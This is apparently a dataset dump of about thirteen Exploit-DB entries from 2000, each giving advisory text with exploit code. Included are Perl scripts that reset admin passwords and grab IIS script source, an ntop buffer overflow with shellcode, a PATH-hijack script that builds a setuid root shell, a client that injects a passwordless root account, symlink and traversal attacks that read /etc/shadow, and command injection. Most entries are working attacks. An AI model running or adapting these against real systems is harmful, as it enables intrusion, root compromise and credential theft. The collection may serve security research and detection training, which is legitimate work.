QLWD/code_shield huggingface dataset:
标题: HP-UX 11.0 - net.init RC Script EDB-ID: 20162 CVE: 2000-0702 类型: LOCAL 平台: HP-UX 发布日期: 2000-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/1602/info

A vulnerability exists in HP-UX, from Hewlett Packard, under certain configurations. Version 11.0 is confirmed to have this problem; other versions may also be susceptible. If the CLEAR_TMP option in /etc/rc.config.d is set to 1, meaning enabled, it is possible for a local user to create a symbolic link in /tmp that will be followed prior to being removed. This will allow the local user to overwrite any file upon reboot.

The /sbin/rc2.d/S008net.init file, and /sbin/rc2.d/S204clean_tmps file are run upon reboot. The net.init is run first. (Lower number S scripts are run first). In the net.init file, a temporary file, /tmp/stcp.conf, is use. This file is blindly written to, and is removed by the clean_tmps script. A local user can simply create this file as a symbolic link to any file, and cause the net.init script to overwrite its contents upon reboot.

ln -sf /VULNERABLE /tmp/stcp.conf
and reboot. URL: https://www.exploit-db.com/exploits/20162
标题: netwin netauth 4.2 - Directory Traversal EDB-ID: 20156 CVE: 2000-0782 类型: REMOTE 平台: CGI 发布日期: 2000-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/1587/info

A remote user is capable of gaining read access to any known file residing on a host running Netwin Netauth through directory traversal. Appending a series of '../' and the desired file name to the 'page' variable at the end of a request to netauth.cgi will allow a remote user to walk the entire directory tree above the Netauth directory.

For example:

http://target/cgi-bin/netauth.cgi?cmd=show&page=../../directory

will display the contents of the specified directory. URL: https://www.exploit-db.com/exploits/20156
标题: CGI Script Center Account Manager 1.0 LITE / PRO - Administrative Password Alteration (1) EDB-ID: 20164 CVE: 2000-0689 类型: REMOTE 平台: CGI 发布日期: 2000-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1604/info

Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Account Manager. In order to accomplish this, a user would access the following URL with a POST command:

http://target/cgibin/amadmin.pl?setpasswd

This would grant the user full administrative privileges which includes the capability of granting and revoking user access to secured areas of the target website.

#!/usr/bin/perl -w

## Account Manager LITE 1.0x / cgi.elitehost.com
## This exploit let's you change the administrator
## password, and completely take controll.
##
## teleh0r@doglover.com / anno 2000
## httpd://teleh0r.cjb.net

use strict;
use Socket;

if (@ARGV < 2) {
    print("Usage: $0 <target> <newpass>\n");
    exit(1);
}

my($target,$newpass,$crypt,$length,$command,
   $agent,$sploit,$iaddr,$paddr,$proto);

($target,$newpass) = @ARGV;

$crypt = crypt($newpass, 'aa');
$length = 34 + length($newpass);

print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/subscribe.pl\n");
print("New password: $newpass / $crypt\n\n");

$command = "pwd=$newpass&pwd2=$newpass&setpwd=++Set+Password++";
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";

# Note that POST /cgi-bin/amlite/amadmin.pl HTTP/1.0
# may have to be changed...

$sploit=
"POST /cgi-bin/amlite/amadmin.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length

$command";

$iaddr = inet_aton($target)                     || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr)                || die("Error: $!\n");
$proto = getprotobyname('tcp')                  || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    || die("Error: $!\n");
connect(SOCKET, $paddr)                         || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0)               || die("Error: $!\n");
close(SOCKET);

sleep(2);
print("Surf to http://$target/cgi-bin/amlite/amadmin.pl\n");
exit(0); URL: https://www.exploit-db.com/exploits/20164
标题: CGI Script Center Account Manager 1.0 LITE / PRO - Administrative Password Alteration (2) EDB-ID: 20165 CVE: 2000-0689 类型: REMOTE 平台: CGI 发布日期: 2000-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1604/info
 
Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Account Manager. In order to accomplish this, a user would access the following URL with a POST command:
 
http://target/cgibin/amadmin.pl?setpasswd
 
This would grant the user full administrative privileges which includes the capability of granting and revoking user access to secured areas of the target website.


<FORM ACTION="http://www.decodeco.com/cgi-bin/acctman/amadmin.pl" METHOD="POST"><CENTER><BR>
<TABLE BORDER="0" WIDTH="450"><TBODY><COLDEFS><COLDEF></COLDEFS><ROWS><TR><TD
COLSTART="1"><P><B><FONT FACE="verdana, arial, helvetica"><FONT
COLOR="#FF0000">Account Manager LITE/PRO</FONT>:  Password Exploit!</FONT></B></P>
<CENTER><FONT FACE="verdana, arial, helvetica"><FONTCOLOR="#FF0000">n30</FONT></B></P></CENTER>
<P><FONT SIZE="-1" FACE="verdana, arial, helvetica">Please enter your password twice.  Once to set it, and once to confirm it.</FONT></P>
<CENTER><TABLE BORDER="0"><TBODY><COLDEFS><COLDEF><COLDEF></COLDEFS><ROWS><TR
><TD ALIGN="RIGHT" COLSTART="1"><INPUT TYPE="PASSWORD" NAME="pwd"></TD><TD
COLSTART="2"><FONT SIZE="-2" FACE="verdana, arial, helvetica">password</FONT></TD></TR>
<TR><TD ALIGN="RIGHT" COLSTART="1"><INPUT TYPE="PASSWORD" NAME="pwd2"></TD><TD
COLSTART="2"><FONT SIZE="-2" FACE="verdana, arial, helvetica">confirmation</FONT></TD></TR>
<TR><TD ALIGN="CENTER" COLSTART="1"><BR><INPUT
TYPE="SUBMIT" NAME="setpwd" VALUE="  Set Password  "></TD><TD COLSTART="2"><BR></TD></TR></ROWS></TBODY></TABLE></CENTER><CENTER><TABLE
BORDER="0" WIDTH="400"><TBODY><COLDEFS><COLDEF></COLDEFS><ROWS><TR><TD
COLSTART="1"><HR SIZE="1"></TD></TR><TR><TD ALIGN="CENTER" COLSTART="1"><FONT
SIZE="-2" FACE="verdana, arial, helvetica"><B>Account Manager LITE/PRO Admin Passwerd Exploit
</B></A></FONT></TD></TR></ROWS></TBODY></TABLE></CENTER></TD></TR></ROWS></TBODY></TABLE></CENTER>
<CENTER><FONTSIZE="1" FACE="verdana, arial, helvetica"><B><BR> To Use Modify Source To Point to amadmin.pl on TARGET Server <BR><BR><a href="mailto:n30@alldas.de">mail-me</a></CENTER>
</FORM>

<!-- Shoutz to trib, axess and all who know me! --> URL: https://www.exploit-db.com/exploits/20165
标题: Microsoft IIS 5.0 - 'Translate: f' Source Disclosure (2) EDB-ID: 20152 CVE: 2000-0778 类型: REMOTE 平台: WINDOWS 发布日期: 2000-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/1578/info
 
Microsoft IIS 5.0 has a dedicated scripting engine for advanced file types such as ASP, ASA, HTR, etc. files. The scripting engines handle requests for these file types, processes them accordingly, and then executes them on the server.
 
It is possible to force the server to send back the source of known scriptable files to the client if the HTTP GET request contains a specialized header with 'Translate: f' at the end of it, and if a trailing slash '/' is appended to the end of the URL. The scripting engine will be able to locate the requested file, however, it will not recognize it as a file that needs to be processed and will proceed to send the file source to the client.


#!/usr/bin/perl
use Socket;

####test arguments
if ($#ARGV != 2) {die "usage: DNS_name/IP file_to_get port\n";}
#####load values
$host = @ARGV[0];$port = @ARGV[2];$target = inet_aton($host);$toget= @ARGV[1];
#####build request
$xtosend=<<EOT
GET /$toget\\ HTTP/1.0
Host: $host
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
Translate: f

EOT
;
$xtosend=~s/\n/\r\n/g;
####send request
#print $xtosend;
my @results=sendraw($xtosend);
print  @results;
#### Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {   # this saves the whole transaction anyway
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;
                        print STDOUT "." if(defined $args{X});}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
} URL: https://www.exploit-db.com/exploits/20152
标题: Microsoft IIS 5.0 - 'Translate: f' Source Disclosure (1) EDB-ID: 20151 CVE: 2000-0778 类型: REMOTE 平台: WINDOWS 发布日期: 2000-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/1578/info

Microsoft IIS 5.0 has a dedicated scripting engine for advanced file types such as ASP, ASA, HTR, etc. files. The scripting engines handle requests for these file types, processes them accordingly, and then executes them on the server.

It is possible to force the server to send back the source of known scriptable files to the client if the HTTP GET request contains a specialized header with 'Translate: f' at the end of it, and if a trailing slash '/' is appended to the end of the URL. The scripting engine will be able to locate the requested file, however, it will not recognize it as a file that needs to be processed and will proceed to send the file source to the client.

#!/usr/bin/perl
# Expl0it By smiler@vxd.org
# Tested with sucess against IIS 5.0. Maybe it works against IIS 4.0 =
using a shared drive but I haven=B4t tested it yet.
# Get the source code of any script from the server using this exploit.
# This code was written after Daniel Docekal brought this issue in =
BugTraq.
# Cheers 351 and FractalG :)

if (not $ARGV[0]) {
print qq~
Geee it=B4s running !! kewl :)))
Usage : srcgrab.pl <complete url of file to retrieve>
Example Usage : srcgrab.pl http://www.victimsite.com/global.asa
U can also save the retrieved file using : srcgrab.pl =
http://www.victim.com/default.asp > file_to_save
~; exit;}


$victimurl=$ARGV[0];

         # Create a user agent object
         use LWP::UserAgent;
         $ua = new LWP::UserAgent;

        # Create a request
        my $req = new HTTP::Request GET => $victimurl . '\\'; # Here =
is the backslash at the end of the url ;)
        $req->content_type('application/x-www-form-urlencoded');
        $req->content_type('text/html');
        $req->header(Translate => 'f'); # Here is the famous translate =
header :))
        $req->content('match=www&errors=0');

         # Pass request to the user agent and get a response back
         my $res = $ua->request($req);

         # Check the outcome of the response
         if ($res->is_success) {
             print $res->content;
         } else {
             print $res->error_as_HTML;
         } URL: https://www.exploit-db.com/exploits/20151
标题: Solaris AnswerBook2 - Remote Command Execution EDB-ID: 20146 CVE: 2000-0697 类型: REMOTE 平台: SOLARIS 发布日期: 2000-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/1556/info

A vulnerability exists in version 1.4.2 and prior of the AnswerBook2 server from Sun. It is possible for remote users who have administrative access to execute arbitrary commands on the machine running AnswerBook2. These commands will be executed with the privileges of user 'daemon'

One of the options you have while administering the AB2 is to rotate the
access and error logs. The server allows you to specify the target file 
where the logs will be rotated to. You can use ../../../../../this/file to
create and overwrite files outside the web server document root directory.
Further investigation showed that the server performs the following command
to rotate the server logs:

sh -c "cp /var/log/ab2/logs/original_log
/var/log/ab2/logs/USER_PROVIDED_TARGET" 

So an attacker could specify a destination log like "x ; uname -a" that will
translate to:

sh -c "cp /var/log/ab2/logs/original_log /var/log/abs/logs/x ; uname -a" URL: https://www.exploit-db.com/exploits/20146
标题: Luca Deri ntop 1.2 a7-9/1.3.1 - Remote Buffer Overflow EDB-ID: 20150 CVE: 2000-0706 类型: REMOTE 平台: UNIX 发布日期: 2000-08-14 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1576/info


ntop is a network usage monitoring tool for unix systems. It can be invoked at the console or as a server daemon, presenting statistics information via http with the -w parameter. In this mode, it is vulnerable to a buffer overflow before the user connecting to it can be authenticated. If exploited, an attacker can gain remote access to the system with the priviliges ntop is executing with. 

It is interesting to note that setuid ntop drops priviliges before this can be exploited, but is installed on *BSD systems only executable by members of group wheel. This leads to the assumption that it may often be executed as root (since users in wheel typically have root access..), so despite the fact that it drops priviliges it can still yield remote root access for the attacker if exploited when run as root.


#include <stdio.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void usage()
{
 printf("NTOP ntop-1.2a1 -w mode command execution exploit.\n");
 printf("                                 mat@hacksware.com\n");
 printf("Usage : ./ntop-w-exp | nc victim port\n");
 exit(0);
}

void main( int argc, char *argv[] )
{
  int i,offset=-24;
#define CODE_LEN 240
#define NOP_LEN 50
  char code_buf[CODE_LEN];
  unsigned long esp=0xbedffb00;

  if(argc >= 2) offset = atoi(argv[1]);

  memset(code_buf,0x90,NOP_LEN); //insert NOP CODES
  memcpy(code_buf+NOP_LEN, shellcode, strlen(shellcode));
  for(i=strlen(shellcode)+NOP_LEN;i<=CODE_LEN;i+=4)
     *(long *)&code_buf[i]=(unsigned long)esp-offset;

  printf("GET /");
  for(i=0;i<CODE_LEN; i++)
  {
     putchar(code_buf[i]);
  }
  printf("\r\n\r\n");
} URL: https://www.exploit-db.com/exploits/20150
标题: Netscape Communicator 4.x - URL Read EDB-ID: 20140 CVE: 2000-0676 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/1546/info

A flaw in Netscape Communicator's implementation of Java allows malicious applets to read any resource reachable via a URL from the local machine by using the netscape.net.URLConnection and netscape.net.URLInputSteam classes. This allows malicious applets to read local files as well as download data from hosts that would otherwise could be protected by a firewall.

An untrusted applet normally is no allowed to read or write to the local file system, or to open network connections to any machine other than that from which it was downloaded.. Security sensitive classes such as FileInputStream() , RandomAccessFile(), or Socket() normally check whether a class can read from a local file by calling the SecurityManager.checkRead() method or whether it connect to other hosts by calling the SecurityManager.checkConnect() method.

Netscape's netscape.net.URLConnection and netscape.net.URLInputStream classes seem to ignore or not perform these checks when passed an URLs. Thus malicious classes and read local files using URLs of the type "file://".

If the machine running the malicious applet is behind a firewall it will also be able to download resources that can be accessed via a URL, such as web server ("http://" or "https://) or FTP servers ("ftp://"), that the attacker in control of the machine from which the applet was downloaded could not. In this way a malicious applet could be used to penetrate a firewall. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20140.tar.gz URL: https://www.exploit-db.com/exploits/20140
标题: Tech-Source Raptor GFX PGX32 2.3.1 - Config Tool EDB-ID: 20147 CVE: 2000-0695 2000-0693 类型: LOCAL 平台: SOLARIS 发布日期: 2000-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1563/info

Raptor GFX cards are designed to handle 24-bit true color applications such as Netscape, seismic, geographical information systems (GIS), satellite imaging, pre-press imaging and general desktop use. They can also be used for high resolution 8-bit applications such as Insignia's SoftWindows, medical imaging and many legacy applications.

Certain versions of the software shipped to configure the Raptor GFX cards are vulnerable to an PATH environment variable attack due to insecure code within pgxconfig the main configuration utility. In particular the pgxconfig uses an insecure system call (system(3s). This function effectively executes binaries resident on the system from within the program. Given that this call must execute binaries on the system at hand it relies on the $PATH variable to tell it where the system binaries reside. This variable is configurable by the user, and therefore a user can provide there own binary to be executed. In this particular case because the program also issues a setuid(0) call (a call which set's the UID of the process in this case, root) the program which the user substitutes is executed as root.


#!/usr/local/bin/bash

        # TechSource Raptor GFX configurator root exploit
        # suid@suid.kg

        # unfortunately a compiler must be installed to use this example
        # exploit. however there's a million ways around this you know
        
        # on my system , gcc isnt in my path
        PATH=$PATH:/usr/local/bin

        # build a little prog nothing new here folks
        echo '#include<stdio.h>' > ./x.c
        echo 'int main(void) { setuid(0); setgid(0); execl
("/bin/sh", "/bin/sh", "-i",0);}' >> ./x.c
        gcc x.c -o foobar
        rm -f ./x.c

        # build a substitute chown command. i much prefer this over
        # regular chown
        echo "#!/bin/sh" > chown
        echo "/usr/bin/chown root ./foobar" >> chown
        echo "/usr/bin/chmod 4755 ./foobar" >> chown
        chmod 0755 chown

        # oooh look its the magical fairy path variable
        export PATH=.:$PATH
        
        # heres one way to skin a cat
        # (theres more, some need valid devices. excercise for the readers)
        /usr/sbin/pgxconfig -i
        rm -f chown

        ./foobar URL: https://www.exploit-db.com/exploits/20147
标题: Luca Deri ntop 1.2 a7-9 - Unauthorized File Retrieval EDB-ID: 20143 CVE: 2000-0705 类型: REMOTE 平台: LINUX 发布日期: 2000-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1550/info

ntop is a tool that shows the network usage, similar to what the popular top Unix command does. Starting ntop in web mode (with the -w parameter) starts ntop with it's own built in HTTP server, to allow remote access to the functions it provides. ntop does not properly authenticate requests and is vulnerable to a ../../ request whereby unauthorized files can be retrieved, including files which are only readable by root. 

The default directory ntop serves HTML from is /etc/ntop/html so to retrieve /etc/shadow one can request the following URL: http://URL:port/../../shadow URL: https://www.exploit-db.com/exploits/20143
标题: Sun AnswerBook2 1.4.2/1.4.3/1.4.4 - Administration Interface Access EDB-ID: 20144 CVE: 2000-0696 类型: REMOTE 平台: SOLARIS 发布日期: 2000-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/1554/info

A lack of authentication checks for certain scripts within the administration interface of AnswerBook2 versions 1.4.2 and prior, for Solaris, allows remote users to create administration accounts. By directly accessing the /cgi-bin/admin/admin script present under the AnswerBook2 dwhttpd web server, it is possible to add users to the administration interface. This will allow the attacker to read log files and manage content. 

http://www.example.com:8888/cgi-bin/admin/admin?command=add_user&uid=percebe&password=percebe&re_password=percebe" URL: https://www.exploit-db.com/exploits/20144
标题: Aptis Software TotalBill 3.0 - Remote Command Execution EDB-ID: 20145 CVE: 2000-0757 类型: REMOTE 平台: LINUX 发布日期: 2000-08-08 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1555/info

Aptis Software offers a billing / provisioning solution for ISPs called TotalBill. One component of the TotalBill package is a network service called Sysgen that listens on or around port 9998. It allows a client connectiing to it to execute any command on the host it is running on (with whatever uid the service runs as, typically root) without any authentication. If this service is not filtered, anonymous attackers can easily gain root access on the target host by remotely exploiting this naive service. Other components of TotalBill may be vulnerable also (noteably cc_queue to a buffer overflow attack) but none are confirmed.


#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define TOTALBILL_PORT  9998
#define TOTALBILL_SERVER "" /* Insert hostname here */

int main (void) 
{
  struct sockaddr_in servaddr;
  char *tempstr, buf[8192];
  struct hostent *host;
  int sockfd;
   
  if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 
    {
      fprintf (stderr, "Error: Could not create a socket: %s\n", 
               strerror (errno));
      return (1);
    }
  memset (&servaddr, 0, sizeof (servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons (TOTALBILL_PORT);

  if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL) 
    {
      fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
      return (1);
    }

  memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
  if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0) 
    {
      fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER, 
               strerror (errno));
      return (1);
    }
  tempstr = "123456  execute  execute  execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
  printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
  if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0) 
    {
      fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno));
      return (1);
    }
  printf ("Sent...waiting for response...\n");
  if (read (sockfd, buf, sizeof (buf)) < 0) 
    {
      fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno));
      return (1);
    }
  printf ("Received %s from server\n", buf);
  close (sockfd);
  return (0);
} URL: https://www.exploit-db.com/exploits/20145